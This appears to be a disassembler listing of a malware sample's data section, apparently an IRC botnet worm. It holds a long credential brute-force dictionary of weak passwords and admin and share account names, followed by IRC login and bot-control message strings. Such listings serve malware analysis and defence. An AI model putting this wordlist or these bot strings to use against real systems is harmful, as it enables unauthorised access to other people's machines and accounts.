aCarla		db 'carla',0            ; DATA XREF: ___:0042FD34o
		align 4
aCaren		db 'caren',0            ; DATA XREF: ___:0042FD30o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042FD2Co
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042FD28o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: ___:0042FD24o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042FD20o
aCantor		db 'cantor',0           ; DATA XREF: ___:0042FD1Co
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042FD18o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: ___:0042FD14o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042FD10o
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042FD0Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:0042FD08o
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042FD04o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: ___:0042FD00o
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042FCFCo
		align 4
aButch		db 'butch',0            ; DATA XREF: ___:0042FCF8o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:0042FCF4o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042FCF0o
aBung		db 'bung',0             ; DATA XREF: ___:0042FCECo
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042FCE8o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042FCE4o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:0042FCE0o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042FCDCo
		align 10h
aBrute		db 'brute',0            ; DATA XREF: ___:0042FCD8o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042FCD4o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042FCD0o
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042FCCCo
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042FCC8o
aBrian		db 'brian',0            ; DATA XREF: ___:0042FCC4o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042FCC0o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: ___:0042FCBCo
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042FCB8o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: ___:0042FCB4o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042FCB0o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042FCACo
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042FCA8o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042FCA4o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:0042FCA0o
		align 4
aBook		db 'book',0             ; DATA XREF: ___:0042FC9Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042FC98o
		align 4
aBoob		db 'boob',0             ; DATA XREF: ___:0042FC94o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:0042FC90o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: ___:0042FC8Co
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:0042FC88o
		align 4
aBlues		db 'blues',0            ; DATA XREF: ___:0042FC84o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:0042FC80o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042FC7Co
aBlow		db 'blow',0             ; DATA XREF: ___:0042FC78o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042FC74o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: ___:0042FC70o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042FC6Co
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042FC68o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042FC64o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042FC60o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042FC5Co
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:0042FC58o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042FC54o
		align 10h
aBird		db 'bird',0             ; DATA XREF: ___:0042FC50o
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042FC4Co
		align 10h
aBinary		db 'binary',0           ; DATA XREF: ___:0042FC48o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042FC44o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042FC40o
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042FC3Co
		align 4
aBible		db 'bible',0            ; DATA XREF: ___:0042FC38o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042FC34o
aBetty		db 'betty',0            ; DATA XREF: ___:0042FC30o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042FC2Co
		align 4
aBeth		db 'beth',0             ; DATA XREF: ___:0042FC28o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:0042FC24o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042FC20o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042FC1Co
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042FC18o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042FC14o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042FC10o
aBenz		db 'benz',0             ; DATA XREF: ___:0042FC0Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042FC08o
aBell		db 'bell',0             ; DATA XREF: ___:0042FC04o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:0042FC00o
		align 4
aBegin		db 'begin',0            ; DATA XREF: ___:0042FBFCo
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042FBF8o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042FBF4o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042FBF0o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042FBECo
		align 10h
aBeater		db 'beater',0           ; DATA XREF: ___:0042FBE8o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042FBE4o
		align 10h
aBear		db 'bear',0             ; DATA XREF: ___:0042FBE0o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042FBDCo
		align 4
aBeach		db 'beach',0            ; DATA XREF: ___:0042FBD8o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:0042FBD4o
		align 4
aBatch		db 'batch',0            ; DATA XREF: ___:0042FBD0o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042FBCCo
aBass		db 'bass',0             ; DATA XREF: ___:0042FBC8o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:0042FBC4o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042FBC0o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: ___:0042FBBCo
aBart		db 'bart',0             ; DATA XREF: ___:0042FBB8o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042FBB4o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:0042FBB0o
		align 4
aBare		db 'bare',0             ; DATA XREF: ___:0042FBACo
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:0042FBA8o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042FBA4o
aBanks		db 'banks',0            ; DATA XREF: ___:0042FBA0o
		align 4
aBank		db 'bank',0             ; DATA XREF: ___:0042FB9Co
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:0042FB98o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: ___:0042FB94o
aBanana		db 'banana',0           ; DATA XREF: ___:0042FB90o
		align 4
aBall		db 'ball',0             ; DATA XREF: ___:0042FB8Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:0042FB88o
		align 4
aBadass		db 'badass',0           ; DATA XREF: ___:0042FB84o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042FB80o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042FB7Co
aBaby		db 'baby',0             ; DATA XREF: ___:0042FB78o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042FB74o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: ___:0042FB70o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042FB6Co
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042FB68o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:0042FB64o
		align 4
aAtom		db 'atom',0             ; DATA XREF: ___:0042FB60o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042FB5Co
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042FB58o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042FB54o
aAsian		db 'asian',0            ; DATA XREF: ___:0042FB50o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: ___:0042FB4Co
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042FB48o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: ___:0042FB44o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042FB40o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: ___:0042FB3Co
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042FB38o
aAria		db 'aria',0             ; DATA XREF: ___:0042FB34o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042FB30o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042FB2Co
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:0042FB28o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042FB24o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042FB20o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042FB1Co
aAnswer		db 'answer',0           ; DATA XREF: ___:0042FB18o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042FB14o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042FB10o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: ___:0042FB0Co
aAnne		db 'anne',0             ; DATA XREF: ___:0042FB08o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: ___:0042FB04o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042FB00o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: ___:0042FAFCo
aAnimal		db 'animal',0           ; DATA XREF: ___:0042FAF8o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: ___:0042FAF4o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042FAF0o
		align 4
aAngela		db 'angela',0           ; DATA XREF: ___:0042FAECo
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042FAE8o
		align 4
aAndy		db 'andy',0             ; DATA XREF: ___:0042FAE4o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042FAE0o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042FADCo
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042FAD8o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042FAD4o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042FAD0o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042FACCo
		align 4
aAnalog		db 'analog',0           ; DATA XREF: ___:0042FAC8o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:0042FAC4o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042FAC0o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: ___:0042FABCo
aAmber		db 'amber',0            ; DATA XREF: ___:0042FAB8o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042FAB4o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042FAB0o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042FAACo
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:0042FAA8o
		align 4
aAllison	db 'allison',0          ; DATA XREF: ___:0042FAA4o
aAlison		db 'alison',0           ; DATA XREF: ___:0042FAA0o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042FA9Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042FA98o
		align 4
aAlice		db 'alice',0            ; DATA XREF: ___:0042FA94o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: ___:0042FA90o
aAlias		db 'alias',0            ; DATA XREF: ___:0042FA8Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042FA88o
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042FA84o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: ___:0042FA80o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042FA7Co
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: ___:0042FA78o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042FA74o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: ___:0042FA70o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042FA6Co
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042FA68o
		align 10h
aAids		db 'aids',0             ; DATA XREF: ___:0042FA64o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042FA60o
		align 4
aAdult		db 'adult',0            ; DATA XREF: ___:0042FA5Co
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042FA58o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042FA54o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: ___:0042FA50o
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042FA4Co
		align 10h
aAccount	db 'account',0          ; DATA XREF: ___:0042FA48o
aAcademic	db 'academic',0         ; DATA XREF: ___:0042FA40o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:0042FA3Co
		align 10h
a000000		db '000000',0           ; DATA XREF: ___:0042FA38o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042FA34o
		align 10h
a0000		db '0000',0             ; DATA XREF: ___:0042FA30o
		align 4
a000		db '000',0              ; DATA XREF: ___:0042FA2Co
aTesting	db 'testing',0          ; DATA XREF: ___:0042FA28o
aDeath		db 'death',0            ; DATA XREF: ___:0042FA24o
		align 4
a00		db '00',0               ; DATA XREF: ___:0042FA20o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042FA18o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042FA14o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042FA10o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042FA0Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042FA08o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042FA04o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: ___:0042FA00o
aXx		db 'xx',0               ; DATA XREF: ___:0042F9FCo
		align 10h
asc_434C30:				; DATA XREF: ___:0042F9F8o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F9F4o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F9F0o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F9ECo
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F9E8o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F9E4o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F9E0o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F9DCo
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F9D8o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F9D4o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:0042F9D0o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F9CCo
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:0042F9C8o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F9C4o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F9C0o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F9BCo
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F9B8o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F9B4o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F9B0o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F9ACo
aSatan		db 'satan',0            ; DATA XREF: ___:0042F9A8o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F9A4o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F9A0o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F99Co
		align 4
aMat		db 'Mat',0              ; DATA XREF: ___:0042F998o
aPw		db 'pw',0               ; DATA XREF: ___:0042F994o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F990o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F98Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F988o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F984o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F980o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F97Co
		align 4
aLove		db 'love',0             ; DATA XREF: ___:0042F978o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F974o
aLogin		db 'login',0            ; DATA XREF: ___:0042F970o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F96Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F968o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F964o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F960o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F95Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F958o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F954o
		align 10h
aWin		db 'win',0              ; DATA XREF: ___:0042F950o
aTest123	db 'test123',0          ; DATA XREF: ___:0042F94Co
aAbc		db 'abc',0              ; DATA XREF: ___:0042F948o
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F944o
aA_1:					; DATA XREF: ___:0042F940o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F93Co
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F938o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F934o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F930o
		align 4
aOwned		db 'owned',0            ; DATA XREF: ___:0042F92Co
		align 10h
a0wned		db '0wned',0            ; DATA XREF: ___:0042F928o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F924o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F920o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: ___:0042F91Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F918o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F914o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:0042F910o
aSex		db 'sex',0              ; DATA XREF: ___:0042F90Co
aPat		db 'pat',0              ; DATA XREF: ___:0042F908o
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F904o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F900o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042F8FCo
a123abc		db '123abc',0           ; DATA XREF: ___:0042F8F8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F8F4o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F8F0o
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042F8ECo
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F8E8o
		align 4
a110		db '110',0              ; DATA XREF: ___:0042F8E4o
a2600		db '2600',0             ; DATA XREF: ___:0042F8E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:0042F8D8o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F8D4o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F8D0o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F8CCo
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F8C8o
a123asd		db '123asd',0           ; DATA XREF: ___:0042F8C4o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:0042F8C0o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F8BCo
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F8B4o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F8B0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F8A8o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F8A4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F89Co
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: ___:0042F898o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:0042F894o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:0042F890o
		align 10h
a111		db '111',0              ; DATA XREF: ___:0042F88Co
a54321		db '54321',0            ; DATA XREF: ___:0042F888o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042F884o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:0042F880o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:0042F87Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042F878o
a123456		db '123456',0           ; DATA XREF: ___:0042F874o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042F870o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042F86Co
		align 4
a123		db '123',0              ; DATA XREF: ___:0042F868o
a12		db '12',0               ; DATA XREF: ___:0042F864o
		align 4
a1:					; DATA XREF: ___:0042F860o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042F85Co
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042F858o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042F854o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042F850o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042F84Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042F848o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042F844o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042F840o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042F83Co
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042F838o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042F830o
		align 4
aTest		db 'TEST',0             ; DATA XREF: ___:0042F82Co
		align 10h
aEdu		db 'edu',0              ; DATA XREF: ___:0042F828o
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042F824o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042F820o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042F81Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042F818o
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:0042F814o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042F810o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042F80Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042F808o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042F804o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042F800o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042F7FCo
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042F7F8o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042F7F4o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042F7ECo
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042F7E8o
		align 10h
aBla		db 'bla',0              ; DATA XREF: ___:0042F7E4o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042F7E0o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F7D4o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F7C4o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042F7C0o
					; ___:0042F8ACo
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:0042F7BCo
aDatabase	db 'database',0         ; DATA XREF: ___:0042F7B8o
					; ___:0042F8A0o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:0042F7B4o
					; ___:0042FF40o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042F7B0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042F7ACo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042F7A8o
					; ___:00430ED4o
aStudent	db 'student',0          ; DATA XREF: ___:0042F7A4o
					; ___:00430E1Co
aOwner		db 'owner',0            ; DATA XREF: ___:0042F7A0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042F79Co
					; ___:0042F8B8o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042F798o
					; ___:0042F7F0o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:0042F794o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042F790o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: ___:0042F78Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042F788o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042F784o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042F780o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042F77Co
					; ___:0042F7DCo
		align 4
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6CCo
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C8o
dword_43511C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435144	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_435150	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Ao
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6262o
		align 4
dword_4351C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6255o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_4351F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6238o
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_435220	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D7o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		db 75h
aThBySS_	db 'th by: (%s!%s).',0  ; DATA XREF: ___:off_4274DCo
		align 4
dword_43525C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6170o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+615Eo
					; sub_40EE72+61C5o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6147o
					; sub_40EE72+61AEo
		align 4
asc_4352E4:				; DATA XREF: sub_40EE72+6117o
		unicode	0, <~>,0
dword_4352E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C7o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_43531C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6013o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
